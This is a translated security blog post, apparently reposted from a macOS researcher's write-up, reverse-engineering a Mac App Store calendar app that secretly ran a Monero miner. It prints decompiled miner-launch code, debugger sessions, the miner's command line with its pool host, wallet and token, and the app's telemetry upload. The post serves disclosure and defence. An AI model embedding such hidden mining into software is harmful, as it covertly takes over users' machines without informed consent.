累觉不爱 Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

华盟学院山东省第二期线下学习计划

在本文中,我们分析了在官方Mac App Store上发现的“Calendar 2”。有点出人意料的是,它竟然具备秘密地将你的Mac电脑变成一个加密货币挖矿工的能力。

背景

今天是星期天,“休息日”。如果你是使用CPU进行加密货币挖矿的人,你永远也不会休息一天。如果你是一个macOS安全研究员,一样没有假期!

今天早些时候,Ars Technica的Dan goodon向我介绍了一款官方Mac App Store(Mac应用商店)的应用,据报道,这款应用秘密的挖掘加密货币,这一情况吸引了我。因此我决定调查一番!

分析“Calendar 2”

该应用程序由一个名为Qbix的公司,将其命名为“Canlendar 2”。目前该应用程序仍可以在Mac App Store (itunes.apple.com/us/app/calendar-2/id41update)下载。

累觉不爱 Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

最新消息:向苹果公司报告了这一情况之后,该应用程序已经从Mac App Store中删除!

使用macOS的“App Store”,我们可以安装应用程序(注意:其应用程序包命名为CalendarFree.app)。就像在官方Mac App Store中所有的应用一样,其签名是有效的:

累觉不爱 Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

在该应用程序二进制文件上运行的字符串

(CalendarFree.app/Contents/MacOS/CalendarFree)揭示了其包含各种似乎与挖掘加密货币有关的字符串:

[sourcecode language="plain"]
$ strings -a ~/Downloads/CalendarFree.app/Contents/MacOS/CalendarFree
...
MinerManager
updateMiner
_parseMinerSetting
com.qbix.MineroMode
Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@; token: %@
Miner: Stopped
Miner: Check: hashrate %d; status: %d
[/sourcecode]

通过jtool来转储Objective-C(扩充C的面向对象编程语言)类信息,我们可以看到像MinerManager(挖矿管理器)这样的类:

[sourcecode language="plain"]
$ ./jtool -d objc -v CalendarFree.app/Contents/MacOS/CalendarFre

@interface MinerManager : ?
// 13 properties:
@property (nonatomic) long long currentPortIndex;
@property (copy) NSString slowMemoryMode;
@property (nonatomic) long long cpuLimit;
@property (nonatomic) long long coreLimit;
@property (copy) NSString token;
@property (copy) NSString algorythm;
...
// 32 instance methods
/* 0 - 0x100092e50 */ - runMiningPingReport;
/* 1 - 0x100092f10 */ - checkModeSelected;
/* 2 - 0x100077db0 */ - init;
/* 3 - 0x100077e10 */ - updateToReflectUserMode;
/* 4 - 0x100077e30 */ - updateMiner;
/* 5 - 0x100077fc0 */ - runMining;
/* 6 - 0x1000780d0 */ - stopMining;
/* 7 - 0x100078130 */ - checkMiningStatus;
/* 8 - 0x100078200 */ - startMiningCheckLoop;
/* 9 - 0x100078260 */ - stopMiningCheckLoop;
...
@end
[/sourcecode]

最后使用MachOView,我们发现该应用程序与一个似乎是加密货币挖掘框架相关联:Coinstash_XMRSTAK.framework。

累觉不爱  Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

很明显,尽管苹果公司声称要彻底审查提交给Mac App Store的所有应用程序,但这个叫做Calendar 2的应用程序拥有“隐藏”的加密货币挖掘能力!现在,让我们进一步了解一下如何将你的CPU资源用于我的monero(XMR)。

一般来说,应用程序逻辑始于applicationDidFinishLaunching:委托方法。对该方法反编译之后,我们发现了执行几个MinerManager方法的被调用的块:

[sourcecode language="plain"]
void -[CalendarController applicationDidFinishLaunching:]
{
...

dispatch_after(dispatch_time(0x0, 0x3b9aca00), *__dispatch_main_q, ^ {
/* block implemented _52-[CalendarController applicationDidFinishLaunching:]_block_invoke */
});

}

void _52-[CalendarController applicationDidFinishLaunching:]_block_invoke(void * _block) {

...

[[MinerManager manager] runMiningPingReport];
[[MinerManager manager] updateMiner];

return;
}
[/sourcecode]

对[MinerManager manager]的调用将触发一个一次分配以及一个MinerManager对象的初始化。作为初始化的一部分,它调用runMining方法:

[sourcecode language="plain"]
$ lldb /Applications/CalendarFree.app/

Current executable set to '/Applications/CalendarFree.app/' (x86_64).

(lldb) b -[MinerManager runMining]
Breakpoint 1: where = CalendarFree`-[MinerManager runMining]

...

Process 2944 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1
CalendarFree`-[MinerManager runMining]:

(lldb) bt
* frame #0: 0x0000000100077fc0 CalendarFree`-[MinerManager runMining]
frame #1: 0x0000000100077dff CalendarFree`-[MinerManager init] + 79
...
frame #5: 0x0000000100077d22 CalendarFree`+[MinerManager manager] + 98
[/sourcecode]

通过检查runMining方法的反编译,我们可以看到它调用了Coinstash_XMRSTAK框架:

[sourcecode language="plain"]
void -[MinerManager runMining] {
rdx = self->_coreLimit;
r14 = [self calculateWorkingCores:rdx];
[_TtC17Coinstash_XMRSTAK9Coinstash setCPULimit:self->_cpuLimit];
r15 = [self getPort];
r12 = [self algorythm];
[self getSlotMemoryMode];

[_TtC17Coinstash_XMRSTAK9Coinstash startMiningWithPort:r15 password:self->_token
coreCount:r14 slowMemory:self->_slowMemoryMode currency:r12];

NSLog(@"Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@;
token: %@", r14, self->_cpuLimit, r15, self->_slowMemoryMode, r12, self->_token);

[self startMiningCheckLoop];
return;
}
[/sourcecode]

由于该框架是用Swift()编写的,所以该方法名被破坏了。它的demangled名字是:

+[Coinstash_XMRSTAK.Coinstash startMiningWithPort:password:coreCount:slowMemory:currency:]。

在该方法上设置一个断点,我们可以转储传入的参数:

[sourcecode language="plain"]
$ lldb /Applications/CalendarFree.app/

...

Process 1811 stopped
stop reason = breakpoint 1.1
+[Coinstash_XMRSTAK.Coinstash startMiningWithPort:password:coreCount:slowMemory:currency:]

(lldb) po $rdi
Coinstash_XMRSTAK.Coinstash

(lldb) x/s $rsi
0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"

(lldb) po $rdx
7777

(lldb) po $rcx
qbix:greg@qbix.com
[/sourcecode]

因为逆转Swift比较令人讨厌,而本文已经有了足够多的反编译代码片段,
我们直接允许调试器在+[Coinstash_XMRSTAK.Coinstash startMiningWithPort …] 方法上执行。
通过我的ProcInfo过程监视器观察(外部)过程事件:

[sourcecode language="plain"]
# ./procInfo

[NEW EVENT: PROCESS START ('xmr-stak')]
pid: 1899
path: /Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework/
Versions/A/Resources/xmr-stak
args: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework
/Resources/xmr-stak",
"--currency",
monero,
"-o",
"pool.graft.hashvault.pro:7777",
"-u",
G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYj...,
"-p",
"qbix:greg@qbix.com",
"--config",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/config.txt",
"--cpu",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/cpu.txt",
"--amd",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/amd.txt",
...
)
[/sourcecode]

果然存在挖矿程序:xmr-stak!从其命令行参数中,可以清楚地看到它正在为某一个网站greg@qbix.com挖掘monero(XMR)。对xmr-stak谷歌一下,我们发现了Coinsta.sh,它提供了“将你的备用cpu投放到加密货币挖矿”的服务。

在他们的论坛上发布的一篇文章提供了更多关于他们的“macOS新的加密挖矿应用程序”xmr-stak的信息。如果我们下载他们的免费“Coinstash应用”,它就包含“相同”的xmr-stak二进制文件:

累觉不爱  Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

回到我们的VM。看起来像是在挖矿:

累觉不爱  Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

我想知道它到底在做什么,幸运的是“Calendar”调用runMiningPingReport方法生成一个关于挖矿操作的报告,并将其发送至calendar.qbix.com/api/mining。

在-GTMHTTPFetcher initWithRequest:方法上设置一个断点,允许我们查看将要上载的报告数据:

[sourcecode language="plain"]
$ lldb /Applications/CalendarFree.app/

Current executable set to '/Applications/CalendarFree.app/' (x86_64).

(lldb) b -[GTMHTTPFetcher initWithRequest:]
Breakpoint 1: where = CalendarFree`-[GTMHTTPFetcher initWithRequest:]

Process 2825 stopped
* thread #17, queue = 'com.apple.root.default-qos', stop reason = breakpoint 1.1
CalendarFree`-[GTMHTTPFetcher initWithRequest:]:

(lldb) po $rdx
<NSMutableURLRequest: 0x1018f04e0> { URL: https://calendar.qbix.com/api/mining }

(lldb) po [0x1018f04e0 HTTPBody]
{
"m_mode": true,
"a_l": false,
"u_mode": 3,
"language": "en-US",
"u_p": 0,
"mining": {
"statistic": {
"ZeroCounter": 0,
"AverageHashRate": 0.92911845445632935,
"CounterTime": 30,
"NonZeroCounter": 14,
"MaxHashRate": 21,
"MinHashRate": 10
},
"params": {
"Token": "qbix:greg@qbix.com",
"Algorithm": "graft",
"CPULimit": 25,
"EnableMiningMode": true,
"CPUBatteryLimit": 10,
"CoreLimit": 25,
"Ports": {
"7777": 1000000,
"5555": 160,
"3333": 40
}
}
},
"sv": "10.13.3",
"m_a_mode": false,
"la": false,
"t": "000c2909108f",
"tz_offset": -25200,
"u": 0,
"bv": "2.6.1",
"id": "2018-03-12 01:02:20 +0000",
"battery": {
"BatteryPlugIn": 111,
"TimeInterval": 60,
"BatteryCounters": 111
},
"l": "-1037.3,-122.0",
"tz_name": "PDT",
"u_s": 1,
"client_time": 1520827483,
...
}
[/sourcecode]

在我们结束之前,要进行有一个有趣的观察。正如sharp-eyed @dogcow所指出的,“Calendar 2”应用程序实际上告诉我们,它可以利用我们cpu的空闲周期,在后台执行加密货币的挖掘工作:

累觉不爱  Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

作为允许该应用将你的box变成一个加密货币挖矿工的回报,该应用程序正在开放“免费获得所有高级功能”,这是一笔公平交易吗?也许?但是用户显然“不会”对此引发抗议。

累觉不爱  Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

苹果公司对此会持什么态度?我无法想象他们会对这种行为持满意态度——即使是对应用程序内部的文档。我猜测,即使这并不违反他们严格的Mac App Store“服务条款”,他们也很可能会维护受害Mac用户的利益。但是一切都不确定!

总结

在本文中,我们分析了在官方Mac App Store上发现的“Calendar 2”。有点出人意料的是,它竟然具备秘密地将你的Mac电脑变成一个加密货币挖矿工的能力。

还记得苹果公司强烈暗示Mac电脑不会感染病毒吗?

累觉不爱  Mac App Store 上竟然也有偷偷奴役你电脑挖矿的应用

www.idc126.com

当他们告诉我们苹果应用商店的应用程序是“安全的”的时候,或许也用有所保留的态度来看待这个问题是比较明智的!

本文翻译自:https://objective-see.com/blog/blog_0x2B.html 如若转载,请注明原文地址: http://www.4hou.com/technology/10709.html
本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论